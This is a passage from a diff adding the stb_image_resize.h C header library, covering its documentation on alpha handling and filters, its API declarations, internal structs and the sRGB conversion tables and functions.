+                               output_pixels, out_w, out_h, 0, 
+                               num_channels , alpha_chan  , 0, STBIR_EDGE_CLAMP)
+                                                            // WRAP/REFLECT/ZERO
+
+   FULL API
+      See the "header file" section of the source for API documentation.
+
+   ADDITIONAL DOCUMENTATION
+
+      SRGB & FLOATING POINT REPRESENTATION
+         The sRGB functions presume IEEE floating point. If you do not have
+         IEEE floating point, define STBIR_NON_IEEE_FLOAT. This will use
+         a slower implementation.
+
+      MEMORY ALLOCATION
+         The resize functions here perform a single memory allocation using
+         malloc. To control the memory allocation, before the #include that
+         triggers the implementation, do:
+
+            #define STBIR_MALLOC(size,context) ...
+            #define STBIR_FREE(ptr,context)   ...
+
+         Each resize function makes exactly one call to malloc/free, so to use
+         temp memory, store the temp memory in the context and return that.
+
+      ASSERT
+         Define STBIR_ASSERT(boolval) to override assert() and not use assert.h
+
+      OPTIMIZATION
+         Define STBIR_SATURATE_INT to compute clamp values in-range using
+         integer operations instead of float operations. This may be faster
+         on some platforms.
+
+      DEFAULT FILTERS
+         For functions which don't provide explicit control over what filters
+         to use, you can change the compile-time defaults with
+
+            #define STBIR_DEFAULT_FILTER_UPSAMPLE     STBIR_FILTER_something
+            #define STBIR_DEFAULT_FILTER_DOWNSAMPLE   STBIR_FILTER_something
+
+         See stbir_filter in the header-file section for the list of filters.
+
+      NEW FILTERS
+         A number of 1D filter kernels are used. For a list of
+         supported filters see the stbir_filter enum. To add a new filter,
+         write a filter function and add it to stbir__filter_info_table.
+
+      PROGRESS
+         For interactive use with slow resize operations, you can install
+         a progress-report callback:
+
+            #define STBIR_PROGRESS_REPORT(val)   some_func(val)
+
+         The parameter val is a float which goes from 0 to 1 as progress is made.
+
+         For example:
+
+            static void my_progress_report(float progress);
+            #define STBIR_PROGRESS_REPORT(val) my_progress_report(val)
+
+            #define STB_IMAGE_RESIZE_IMPLEMENTATION
+            #include "stb_image_resize.h"
+
+            static void my_progress_report(float progress)
+            {
+               printf("Progress: %f%%\n", progress*100);
+            }
+
+      MAX CHANNELS
+         If your image has more than 64 channels, define STBIR_MAX_CHANNELS
+         to the max you'll have.
+
+      ALPHA CHANNEL
+         Most of the resizing functions provide the ability to control how
+         the alpha channel of an image is processed. The important things
+         to know about this:
+
+         1. The best mathematically-behaved version of alpha to use is
+         called "premultiplied alpha", in which the other color channels
+         have had the alpha value multiplied in. If you use premultiplied
+         alpha, linear filtering (such as image resampling done by this
+         library, or performed in texture units on GPUs) does the "right
+         thing". While premultiplied alpha is standard in the movie CGI
+         industry, it is still uncommon in the videogame/real-time world.
+
+         If you linearly filter non-premultiplied alpha, strange effects
+         occur. (For example, the 50/50 average of 99% transparent bright green
+         and 1% transparent black produces 50% transparent dark green when
+         non-premultiplied, whereas premultiplied it produces 50%
+         transparent near-black. The former introduces green energy
+         that doesn't exist in the source image.)
+
+         2. Artists should not edit premultiplied-alpha images; artists
+         want non-premultiplied alpha images. Thus, art tools generally output
+         non-premultiplied alpha images.
+
+         3. You will get best results in most cases by converting images
+         to premultiplied alpha before processing them mathematically.
+
+         4. If you pass the flag STBIR_FLAG_ALPHA_PREMULTIPLIED, the
+         resizer does not do anything special for the alpha channel;
+         it is resampled identically to other channels. This produces
+         the correct results for premultiplied-alpha images, but produces
+         less-than-ideal results for non-premultiplied-alpha images.
+
+         5. If you do not pass the flag STBIR_FLAG_ALPHA_PREMULTIPLIED,
+         then the resizer weights the contribution of input pixels
+         based on their alpha values, or, equivalently, it multiplies
+         the alpha value into the color channels, resamples, then divides
+         by the resultant alpha value. Input pixels which have alpha=0 do
+         not contribute at all to output pixels unless _all_ of the input
+         pixels affecting that output pixel have alpha=0, in which case
+         the result for that pixel is the same as it would be without
+         STBIR_FLAG_ALPHA_PREMULTIPLIED. However, this is only true for
+         input images in integer formats. For input images in float format,
+         input pixels with alpha=0 have no effect, and output pixels
+         which have alpha=0 will be 0 in all channels. (For float images,
+         you can manually achieve the same result by adding a tiny epsilon
+         value to the alpha channel of every image, and then subtracting
+         or clamping it at the end.)
+
+         6. You can suppress the behavior described in #5 and make
+         all-0-alpha pixels have 0 in all channels by #defining
+         STBIR_NO_ALPHA_EPSILON.
+
+         7. You can separately control whether the alpha channel is
+         interpreted as linear or affected by the colorspace. By default
+         it is linear; you almost never want to apply the colorspace.
+         (For example, graphics hardware does not apply sRGB conversion
+         to the alpha channel.)
+
+   CONTRIBUTORS
+      Jorge L Rodriguez: Implementation
+      Sean Barrett: API design, optimizations
+      Aras Pranckevicius: bugfix
+      Nathan Reed: warning fixes
+
+   REVISIONS
+      0.95 (2017-07-23) fixed warnings
+      0.94 (2017-03-18) fixed warnings
+      0.93 (2017-03-03) fixed bug with certain combinations of heights
+      0.92 (2017-01-02) fix integer overflow on large (>2GB) images
+      0.91 (2016-04-02) fix warnings; fix handling of subpixel regions
+      0.90 (2014-09-17) first released version
+
+   LICENSE
+     See end of file for license information.
+
+   TODO
+      Don't decode all of the image data when only processing a partial tile
+      Don't use full-width decode buffers when only processing a partial tile
+      When processing wide images, break processing into tiles so data fits in L1 cache
+      Installable filters?
+      Resize that respects alpha test coverage
+         (Reference code: FloatImage::alphaTestCoverage and FloatImage::scaleAlphaToCoverage:
+         https://code.google.com/p/nvidia-texture-tools/source/browse/trunk/src/nvimage/FloatImage.cpp )
+*/
+
+#ifndef STBIR_INCLUDE_STB_IMAGE_RESIZE_H
+#define STBIR_INCLUDE_STB_IMAGE_RESIZE_H
+
+#ifdef _MSC_VER
+typedef unsigned char  stbir_uint8;
+typedef unsigned short stbir_uint16;
+typedef unsigned int   stbir_uint32;
+#else
+#include <stdint.h>
+typedef uint8_t  stbir_uint8;
+typedef uint16_t stbir_uint16;
+typedef uint32_t stbir_uint32;
+#endif
+
+#ifdef STB_IMAGE_RESIZE_STATIC
+#define STBIRDEF static
+#else
+#ifdef __cplusplus
+#define STBIRDEF extern "C"
+#else
+#define STBIRDEF extern
+#endif
+#endif
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Easy-to-use API:
+//
+//     * "input pixels" points to an array of image data with 'num_channels' channels (e.g. RGB=3, RGBA=4)
+//     * input_w is input image width (x-axis), input_h is input image height (y-axis)
+//     * stride is the offset between successive rows of image data in memory, in bytes. you can
+//       specify 0 to mean packed continuously in memory
+//     * alpha channel is treated identically to other channels.
+//     * colorspace is linear or sRGB as specified by function name
+//     * returned result is 1 for success or 0 in case of an error.
+//       #define STBIR_ASSERT() to trigger an assert on parameter validation errors.
+//     * Memory required grows approximately linearly with input and output size, but with
+//       discontinuities at input_w == output_w and input_h == output_h.
+//     * These functions use a "default" resampling filter defined at compile time. To change the filter,
+//       you can change the compile-time defaults by #defining STBIR_DEFAULT_FILTER_UPSAMPLE
+//       and STBIR_DEFAULT_FILTER_DOWNSAMPLE, or you can use the medium-complexity API.
+
+STBIRDEF int stbir_resize_uint8(     const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels);
+
+STBIRDEF int stbir_resize_float(     const float *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           float *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels);
+
+
+// The following functions interpret image data as gamma-corrected sRGB. 
+// Specify STBIR_ALPHA_CHANNEL_NONE if you have no alpha channel,
+// or otherwise provide the index of the alpha channel. Flags value
+// of 0 will probably do the right thing if you're not sure what
+// the flags mean.
+
+#define STBIR_ALPHA_CHANNEL_NONE       -1
+
+// Set this flag if your texture has premultiplied alpha. Otherwise, stbir will
+// use alpha-weighted resampling (effectively premultiplying, resampling,
+// then unpremultiplying).
+#define STBIR_FLAG_ALPHA_PREMULTIPLIED    (1 << 0)
+// The specified alpha channel should be handled as gamma-corrected value even
+// when doing sRGB operations.
+#define STBIR_FLAG_ALPHA_USES_COLORSPACE  (1 << 1)
+
+STBIRDEF int stbir_resize_uint8_srgb(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                           unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                     int num_channels, int alpha_channel, int flags);
+
+
+typedef enum
+{
+    STBIR_EDGE_CLAMP   = 1,
+    STBIR_EDGE_REFLECT = 2,
+    STBIR_EDGE_WRAP    = 3,
+    STBIR_EDGE_ZERO    = 4,
+} stbir_edge;
+
+// This function adds the ability to specify how requests to sample off the edge of the image are handled.
+STBIRDEF int stbir_resize_uint8_srgb_edgemode(const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                                    unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                              int num_channels, int alpha_channel, int flags,
+                                              stbir_edge edge_wrap_mode);
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Medium-complexity API
+//
+// This extends the easy-to-use API as follows:
+//
+//     * Alpha-channel can be processed separately
+//       * If alpha_channel is not STBIR_ALPHA_CHANNEL_NONE
+//         * Alpha channel will not be gamma corrected (unless flags&STBIR_FLAG_GAMMA_CORRECT)
+//         * Filters will be weighted by alpha channel (unless flags&STBIR_FLAG_ALPHA_PREMULTIPLIED)
+//     * Filter can be selected explicitly
+//     * uint16 image type
+//     * sRGB colorspace available for all types
+//     * context parameter for passing to STBIR_MALLOC
+
+typedef enum
+{
+    STBIR_FILTER_DEFAULT      = 0,  // use same filter type that easy-to-use API chooses
+    STBIR_FILTER_BOX          = 1,  // A trapezoid w/1-pixel wide ramps, same result as box for integer scale ratios
+    STBIR_FILTER_TRIANGLE     = 2,  // On upsampling, produces same results as bilinear texture filtering
+    STBIR_FILTER_CUBICBSPLINE = 3,  // The cubic b-spline (aka Mitchell-Netrevalli with B=1,C=0), gaussian-esque
+    STBIR_FILTER_CATMULLROM   = 4,  // An interpolating cubic spline
+    STBIR_FILTER_MITCHELL     = 5,  // Mitchell-Netrevalli filter with B=1/3, C=1/3
+} stbir_filter;
+
+typedef enum
+{
+    STBIR_COLORSPACE_LINEAR,
+    STBIR_COLORSPACE_SRGB,
+
+    STBIR_MAX_COLORSPACES,
+} stbir_colorspace;
+
+// The following functions are all identical except for the type of the image data
+
+STBIRDEF int stbir_resize_uint8_generic( const unsigned char *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                               unsigned char *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context);
+
+STBIRDEF int stbir_resize_uint16_generic(const stbir_uint16 *input_pixels  , int input_w , int input_h , int input_stride_in_bytes,
+                                               stbir_uint16 *output_pixels , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context);
+
+STBIRDEF int stbir_resize_float_generic( const float *input_pixels         , int input_w , int input_h , int input_stride_in_bytes,
+                                               float *output_pixels        , int output_w, int output_h, int output_stride_in_bytes,
+                                         int num_channels, int alpha_channel, int flags,
+                                         stbir_edge edge_wrap_mode, stbir_filter filter, stbir_colorspace space, 
+                                         void *alloc_context);
+
+
+
+//////////////////////////////////////////////////////////////////////////////
+//
+// Full-complexity API
+//
+// This extends the medium API as follows:
+//
+//       * uint32 image type
+//     * not typesafe
+//     * separate filter types for each axis
+//     * separate edge modes for each axis
+//     * can specify scale explicitly for subpixel correctness
+//     * can specify image source tile using texture coordinates
+
+typedef enum
+{
+    STBIR_TYPE_UINT8 ,
+    STBIR_TYPE_UINT16,
+    STBIR_TYPE_UINT32,
+    STBIR_TYPE_FLOAT ,
+
+    STBIR_MAX_TYPES
+} stbir_datatype;
+
+STBIRDEF int stbir_resize(         const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context);
+
+STBIRDEF int stbir_resize_subpixel(const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float x_scale, float y_scale,
+                                   float x_offset, float y_offset);
+
+STBIRDEF int stbir_resize_region(  const void *input_pixels , int input_w , int input_h , int input_stride_in_bytes,
+                                         void *output_pixels, int output_w, int output_h, int output_stride_in_bytes,
+                                   stbir_datatype datatype,
+                                   int num_channels, int alpha_channel, int flags,
+                                   stbir_edge edge_mode_horizontal, stbir_edge edge_mode_vertical, 
+                                   stbir_filter filter_horizontal,  stbir_filter filter_vertical,
+                                   stbir_colorspace space, void *alloc_context,
+                                   float s0, float t0, float s1, float t1);
+// (s0, t0) & (s1, t1) are the top-left and bottom right corner (uv addressing style: [0, 1]x[0, 1]) of a region of the input image to use.
+
+//
+//
+////   end header file   /////////////////////////////////////////////////////
+#endif // STBIR_INCLUDE_STB_IMAGE_RESIZE_H
+
+
+
+
+
+#ifdef STB_IMAGE_RESIZE_IMPLEMENTATION
+
+#ifndef STBIR_ASSERT
+#include <assert.h>
+#define STBIR_ASSERT(x) assert(x)
+#endif
+
+// For memset
+#include <string.h>
+
+#include <math.h>
+
+#ifndef STBIR_MALLOC
+#include <stdlib.h>
+// use comma operator to evaluate c, to avoid "unused parameter" warnings
+#define STBIR_MALLOC(size,c) ((void)(c), malloc(size))
+#define STBIR_FREE(ptr,c)    ((void)(c), free(ptr))
+#endif
+
+#ifndef _MSC_VER
+#ifdef __cplusplus
+#define stbir__inline inline
+#else
+#define stbir__inline
+#endif
+#else
+#define stbir__inline __forceinline
+#endif
+
+
+// should produce compiler error if size is wrong
+typedef unsigned char stbir__validate_uint32[sizeof(stbir_uint32) == 4 ? 1 : -1];
+
+#ifdef _MSC_VER
+#define STBIR__NOTUSED(v)  (void)(v)
+#else
+#define STBIR__NOTUSED(v)  (void)sizeof(v)
+#endif
+
+#define STBIR__ARRAY_SIZE(a) (sizeof((a))/sizeof((a)[0]))
+
+#ifndef STBIR_DEFAULT_FILTER_UPSAMPLE
+#define STBIR_DEFAULT_FILTER_UPSAMPLE    STBIR_FILTER_CATMULLROM
+#endif
+
+#ifndef STBIR_DEFAULT_FILTER_DOWNSAMPLE
+#define STBIR_DEFAULT_FILTER_DOWNSAMPLE  STBIR_FILTER_MITCHELL
+#endif
+
+#ifndef STBIR_PROGRESS_REPORT
+#define STBIR_PROGRESS_REPORT(float_0_to_1)
+#endif
+
+#ifndef STBIR_MAX_CHANNELS
+#define STBIR_MAX_CHANNELS 64
+#endif
+
+#if STBIR_MAX_CHANNELS > 65536
+#error "Too many channels; STBIR_MAX_CHANNELS must be no more than 65536."
+// because we store the indices in 16-bit variables
+#endif
+
+// This value is added to alpha just before premultiplication to avoid
+// zeroing out color values. It is equivalent to 2^-80. If you don't want
+// that behavior (it may interfere if you have floating point images with
+// very small alpha values) then you can define STBIR_NO_ALPHA_EPSILON to
+// disable it.
+#ifndef STBIR_ALPHA_EPSILON
+#define STBIR_ALPHA_EPSILON ((float)1 / (1 << 20) / (1 << 20) / (1 << 20) / (1 << 20))
+#endif
+
+
+
+#ifdef _MSC_VER
+#define STBIR__UNUSED_PARAM(v)  (void)(v)
+#else
+#define STBIR__UNUSED_PARAM(v)  (void)sizeof(v)
+#endif
+
+// must match stbir_datatype
+static unsigned char stbir__type_size[] = {
+    1, // STBIR_TYPE_UINT8
+    2, // STBIR_TYPE_UINT16
+    4, // STBIR_TYPE_UINT32
+    4, // STBIR_TYPE_FLOAT
+};
+
+// Kernel function centered at 0
+typedef float (stbir__kernel_fn)(float x, float scale);
+typedef float (stbir__support_fn)(float scale);
+
+typedef struct
+{
+    stbir__kernel_fn* kernel;
+    stbir__support_fn* support;
+} stbir__filter_info;
+
+// When upsampling, the contributors are which source pixels contribute.
+// When downsampling, the contributors are which destination pixels are contributed to.
+typedef struct
+{
+    int n0; // First contributing pixel
+    int n1; // Last contributing pixel
+} stbir__contributors;
+
+typedef struct
+{
+    const void* input_data;
+    int input_w;
+    int input_h;
+    int input_stride_bytes;
+
+    void* output_data;
+    int output_w;
+    int output_h;
+    int output_stride_bytes;
+
+    float s0, t0, s1, t1;
+
+    float horizontal_shift; // Units: output pixels
+    float vertical_shift;   // Units: output pixels
+    float horizontal_scale;
+    float vertical_scale;
+
+    int channels;
+    int alpha_channel;
+    stbir_uint32 flags;
+    stbir_datatype type;
+    stbir_filter horizontal_filter;
+    stbir_filter vertical_filter;
+    stbir_edge edge_horizontal;
+    stbir_edge edge_vertical;
+    stbir_colorspace colorspace;
+
+    stbir__contributors* horizontal_contributors;
+    float* horizontal_coefficients;
+
+    stbir__contributors* vertical_contributors;
+    float* vertical_coefficients;
+
+    int decode_buffer_pixels;
+    float* decode_buffer;
+
+    float* horizontal_buffer;
+
+    // cache these because ceil/floor are inexplicably showing up in profile
+    int horizontal_coefficient_width;
+    int vertical_coefficient_width;
+    int horizontal_filter_pixel_width;
+    int vertical_filter_pixel_width;
+    int horizontal_filter_pixel_margin;
+    int vertical_filter_pixel_margin;
+    int horizontal_num_contributors;
+    int vertical_num_contributors;
+
+    int ring_buffer_length_bytes;   // The length of an individual entry in the ring buffer. The total number of ring buffers is stbir__get_filter_pixel_width(filter)
+    int ring_buffer_num_entries;    // Total number of entries in the ring buffer.
+    int ring_buffer_first_scanline;
+    int ring_buffer_last_scanline;
+    int ring_buffer_begin_index;    // first_scanline is at this index in the ring buffer
+    float* ring_buffer;
+
+    float* encode_buffer; // A temporary buffer to store floats so we don't lose precision while we do multiply-adds.
+
+    int horizontal_contributors_size;
+    int horizontal_coefficients_size;
+    int vertical_contributors_size;
+    int vertical_coefficients_size;
+    int decode_buffer_size;
+    int horizontal_buffer_size;
+    int ring_buffer_size;
+    int encode_buffer_size;
+} stbir__info;
+
+
+static const float stbir__max_uint8_as_float  = 255.0f;
+static const float stbir__max_uint16_as_float = 65535.0f;
+static const double stbir__max_uint32_as_float = 4294967295.0;
+
+
+static stbir__inline int stbir__min(int a, int b)
+{
+    return a < b ? a : b;
+}
+
+static stbir__inline float stbir__saturate(float x)
+{
+    if (x < 0)
+        return 0;
+
+    if (x > 1)
+        return 1;
+
+    return x;
+}
+
+#ifdef STBIR_SATURATE_INT
+static stbir__inline stbir_uint8 stbir__saturate8(int x)
+{
+    if ((unsigned int) x <= 255)
+        return x;
+
+    if (x < 0)
+        return 0;
+
+    return 255;
+}
+
+static stbir__inline stbir_uint16 stbir__saturate16(int x)
+{
+    if ((unsigned int) x <= 65535)
+        return x;
+
+    if (x < 0)
+        return 0;
+
+    return 65535;
+}
+#endif
+
+static float stbir__srgb_uchar_to_linear_float[256] = {
+    0.000000f, 0.000304f, 0.000607f, 0.000911f, 0.001214f, 0.001518f, 0.001821f, 0.002125f, 0.002428f, 0.002732f, 0.003035f,
+    0.003347f, 0.003677f, 0.004025f, 0.004391f, 0.004777f, 0.005182f, 0.005605f, 0.006049f, 0.006512f, 0.006995f, 0.007499f,
+    0.008023f, 0.008568f, 0.009134f, 0.009721f, 0.010330f, 0.010960f, 0.011612f, 0.012286f, 0.012983f, 0.013702f, 0.014444f,
+    0.015209f, 0.015996f, 0.016807f, 0.017642f, 0.018500f, 0.019382f, 0.020289f, 0.021219f, 0.022174f, 0.023153f, 0.024158f,
+    0.025187f, 0.026241f, 0.027321f, 0.028426f, 0.029557f, 0.030713f, 0.031896f, 0.033105f, 0.034340f, 0.035601f, 0.036889f,
+    0.038204f, 0.039546f, 0.040915f, 0.042311f, 0.043735f, 0.045186f, 0.046665f, 0.048172f, 0.049707f, 0.051269f, 0.052861f,
+    0.054480f, 0.056128f, 0.057805f, 0.059511f, 0.061246f, 0.063010f, 0.064803f, 0.066626f, 0.068478f, 0.070360f, 0.072272f,
+    0.074214f, 0.076185f, 0.078187f, 0.080220f, 0.082283f, 0.084376f, 0.086500f, 0.088656f, 0.090842f, 0.093059f, 0.095307f,
+    0.097587f, 0.099899f, 0.102242f, 0.104616f, 0.107023f, 0.109462f, 0.111932f, 0.114435f, 0.116971f, 0.119538f, 0.122139f,
+    0.124772f, 0.127438f, 0.130136f, 0.132868f, 0.135633f, 0.138432f, 0.141263f, 0.144128f, 0.147027f, 0.149960f, 0.152926f,
+    0.155926f, 0.158961f, 0.162029f, 0.165132f, 0.168269f, 0.171441f, 0.174647f, 0.177888f, 0.181164f, 0.184475f, 0.187821f,
+    0.191202f, 0.194618f, 0.198069f, 0.201556f, 0.205079f, 0.208637f, 0.212231f, 0.215861f, 0.219526f, 0.223228f, 0.226966f,
+    0.230740f, 0.234551f, 0.238398f, 0.242281f, 0.246201f, 0.250158f, 0.254152f, 0.258183f, 0.262251f, 0.266356f, 0.270498f,
+    0.274677f, 0.278894f, 0.283149f, 0.287441f, 0.291771f, 0.296138f, 0.300544f, 0.304987f, 0.309469f, 0.313989f, 0.318547f,
+    0.323143f, 0.327778f, 0.332452f, 0.337164f, 0.341914f, 0.346704f, 0.351533f, 0.356400f, 0.361307f, 0.366253f, 0.371238f,
+    0.376262f, 0.381326f, 0.386430f, 0.391573f, 0.396755f, 0.401978f, 0.407240f, 0.412543f, 0.417885f, 0.423268f, 0.428691f,
+    0.434154f, 0.439657f, 0.445201f, 0.450786f, 0.456411f, 0.462077f, 0.467784f, 0.473532f, 0.479320f, 0.485150f, 0.491021f,
+    0.496933f, 0.502887f, 0.508881f, 0.514918f, 0.520996f, 0.527115f, 0.533276f, 0.539480f, 0.545725f, 0.552011f, 0.558340f,
+    0.564712f, 0.571125f, 0.577581f, 0.584078f, 0.590619f, 0.597202f, 0.603827f, 0.610496f, 0.617207f, 0.623960f, 0.630757f,
+    0.637597f, 0.644480f, 0.651406f, 0.658375f, 0.665387f, 0.672443f, 0.679543f, 0.686685f, 0.693872f, 0.701102f, 0.708376f,
+    0.715694f, 0.723055f, 0.730461f, 0.737911f, 0.745404f, 0.752942f, 0.760525f, 0.768151f, 0.775822f, 0.783538f, 0.791298f,
+    0.799103f, 0.806952f, 0.814847f, 0.822786f, 0.830770f, 0.838799f, 0.846873f, 0.854993f, 0.863157f, 0.871367f, 0.879622f,
+    0.887923f, 0.896269f, 0.904661f, 0.913099f, 0.921582f, 0.930111f, 0.938686f, 0.947307f, 0.955974f, 0.964686f, 0.973445f,
+    0.982251f, 0.991102f, 1.0f
+};
+
+static float stbir__srgb_to_linear(float f)
+{
+    if (f <= 0.04045f)
+        return f / 12.92f;
+    else
+        return (float)pow((f + 0.055f) / 1.055f, 2.4f);
+}
+
+static float stbir__linear_to_srgb(float f)
+{
+    if (f <= 0.0031308f)
+        return f * 12.92f;
+    else
+        return 1.055f * (float)pow(f, 1 / 2.4f) - 0.055f;
+}
+
+#ifndef STBIR_NON_IEEE_FLOAT
+// From https://gist.github.com/rygorous/2203834
+
+typedef union
+{
+    stbir_uint32 u;
+    float f;
+} stbir__FP32;
+
+static const stbir_uint32 fp32_to_srgb8_tab4[104] = {
+    0x0073000d, 0x007a000d, 0x0080000d, 0x0087000d, 0x008d000d, 0x0094000d, 0x009a000d, 0x00a1000d,
+    0x00a7001a, 0x00b4001a, 0x00c1001a, 0x00ce001a, 0x00da001a, 0x00e7001a, 0x00f4001a, 0x0101001a,
+    0x010e0033, 0x01280033, 0x01410033, 0x015b0033, 0x01750033, 0x018f0033, 0x01a80033, 0x01c20033,
+    0x01dc0067, 0x020f0067, 0x02430067, 0x02760067, 0x02aa0067, 0x02dd0067, 0x03110067, 0x03440067,
+    0x037800ce, 0x03df00ce, 0x044600ce, 0x04ad00ce, 0x051400ce, 0x057b00c5, 0x05dd00bc, 0x063b00b5,
+    0x06970158, 0x07420142, 0x07e30130, 0x087b0120, 0x090b0112, 0x09940106, 0x0a1700fc, 0x0a9500f2,
+    0x0b0f01cb, 0x0bf401ae, 0x0ccb0195, 0x0d950180, 0x0e56016e, 0x0f0d015e, 0x0fbc0150, 0x10630143,
+    0x11070264, 0x1238023e, 0x1357021d, 0x14660201, 0x156601e9, 0x165a01d3, 0x174401c0, 0x182401af,
+    0x18fe0331, 0x1a9602fe, 0x1c1502d2, 0x1d7e02ad, 0x1ed4028d, 0x201a0270, 0x21520256, 0x227d0240,
+    0x239f0443, 0x25c003fe, 0x27bf03c4, 0x29a10392, 0x2b6a0367, 0x2d1d0341, 0x2ebe031f, 0x304d0300,
+    0x31d105b0, 0x34a80555, 0x37520507, 0x39d504c5, 0x3c37048b, 0x3e7c0458, 0x40a8042a, 0x42bd0401,
+    0x44c20798, 0x488e071e, 0x4c1c06b6, 0x4f76065d, 0x52a50610, 0x55ac05cc, 0x5892058f, 0x5b590559,
+    0x5e0c0a23, 0x631c0980, 0x67db08f6, 0x6c55087f, 0x70940818, 0x74a007bd, 0x787d076c, 0x7c330723,
+};
+ 
+static stbir_uint8 stbir__linear_to_srgb_uchar(float in)
+{
+    static const stbir__FP32 almostone = { 0x3f7fffff }; // 1-eps
+    static const stbir__FP32 minval = { (127-13) << 23 };
+    stbir_uint32 tab,bias,scale,t;
+    stbir__FP32 f;
+ 
+    // Clamp to [2^(-13), 1-eps]; these two values map to 0 and 1, respectively.
+    // The tests are carefully written so that NaNs map to 0, same as in the reference
+    // implementation.
+    if (!(in > minval.f)) // written this way to catch NaNs
+        in = minval.f;
+    if (in > almostone.f)
+        in = almostone.f;
+ 
+    // Do the table lookup and unpack bias, scale
+    f.f = in;
+    tab = fp32_to_srgb8_tab4[(f.u - minval.u) >> 20];
+    bias = (tab >> 16) << 9;
+    scale = tab & 0xffff;
+ 
+    // Grab next-highest mantissa bits and perform linear interpolation
+    t = (f.u >> 12) & 0xff;
+    return (unsigned char) ((bias + scale*t) >> 16);
+}
+
+#else
+// sRGB transition values, scaled by 1<<28
+static int stbir__srgb_offset_to_linear_scaled[256] =
+{
+            0,     40738,    122216,    203693,    285170,    366648,    448125,    529603,
+       611080,    692557,    774035,    855852,    942009,   1033024,   1128971,   1229926,
+      1335959,   1447142,   1563542,   1685229,   1812268,   1944725,   2082664,   2226148,
+      2375238,   2529996,   2690481,   2856753,   3028870,   3206888,   3390865,   3580856,
+      3776916,   3979100,   4187460,   4402049,   4622919,   4850123,   5083710,   5323731,
+      5570236,   5823273,   6082892,   6349140,   6622065,   6901714,   7188133,   7481369,
+      7781466,   8088471,   8402427,   8723380,   9051372,   9386448,   9728650,  10078021,
+     10434603,  10798439,  11169569,  11548036,  11933879,  12327139,  12727857,  13136073,
+     13551826,  13975156,  14406100,  14844697,  15290987,  15745007,  16206795,  16676389,
+     17153826,  17639142,  18132374,  18633560,  19142734,  19659934,  20185196,  20718552,
+     21260042,  21809696,  22367554,  22933648,  23508010,  24090680,  24681686,  25281066,
+     25888850,  26505076,  27129772,  27762974,  28404716,  29055026,  29713942,  30381490,
+     31057708,  31742624,  32436272,  33138682,  33849884,  34569912,  35298800,  36036568,
+     36783260,  37538896,  38303512,  39077136,  39859796,  40651528,  41452360,  42262316,
+     43081432,  43909732,  44747252,  45594016,  46450052,  47315392,  48190064,  49074096,
+     49967516,  50870356,  51782636,  52704392,  53635648,  54576432,  55526772,  56486700,
+     57456236,  58435408,  59424248,  60422780,  61431036,  62449032,  63476804,  64514376,
+     65561776,  66619028,  67686160,  68763192,  69850160,  70947088,  72053992,  73170912,
+     74297864,  75434880,  76581976,  77739184,  78906536,  80084040,  81271736,  82469648,
+     83677792,  84896192,  86124888,  87363888,  88613232,  89872928,  91143016,  92423512,
+     93714432,  95015816,  96327688,  97650056,  98982952, 100326408, 101680440, 103045072,
+    104420320, 105806224, 107202800, 108610064, 110028048, 111456776, 112896264, 114346544,
+    115807632, 117279552, 118762328, 120255976, 121760536, 123276016, 124802440, 126339832,
+    127888216, 129447616, 131018048, 132599544, 134192112, 135795792, 137410592, 139036528,
+    140673648, 142321952, 143981456, 145652208, 147334208, 149027488, 150732064, 152447968,
+    154175200, 155913792, 157663776, 159425168, 161197984, 162982240, 164777968, 166585184,
+    168403904, 170234160, 172075968, 173929344, 175794320, 177670896, 179559120, 181458992,
+    183370528, 185293776, 187228736, 189175424, 191133888, 193104112, 195086128, 197079968,
+    199085648, 201103184, 203132592, 205173888, 207227120, 209292272, 211369392, 213458480,
+    215559568, 217672656, 219797792, 221934976, 224084240, 226245600, 228419056, 230604656,
+    232802400, 235012320, 237234432, 239468736, 241715280, 243974080, 246245120, 248528464,
+    250824112, 253132064, 255452368, 257785040, 260130080, 262487520, 264857376, 267239664,
+};
+
+static stbir_uint8 stbir__linear_to_srgb_uchar(float f)
+{
+    int x = (int) (f * (1 << 28)); // has headroom so you don't need to clamp
+    int v = 0;
+    int i;
+
+    // Refine the guess with a short binary search.
+    i = v + 128; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +  64; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +  32; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +  16; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   8; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   4; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   2; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+    i = v +   1; if (x >= stbir__srgb_offset_to_linear_scaled[i]) v = i;
+
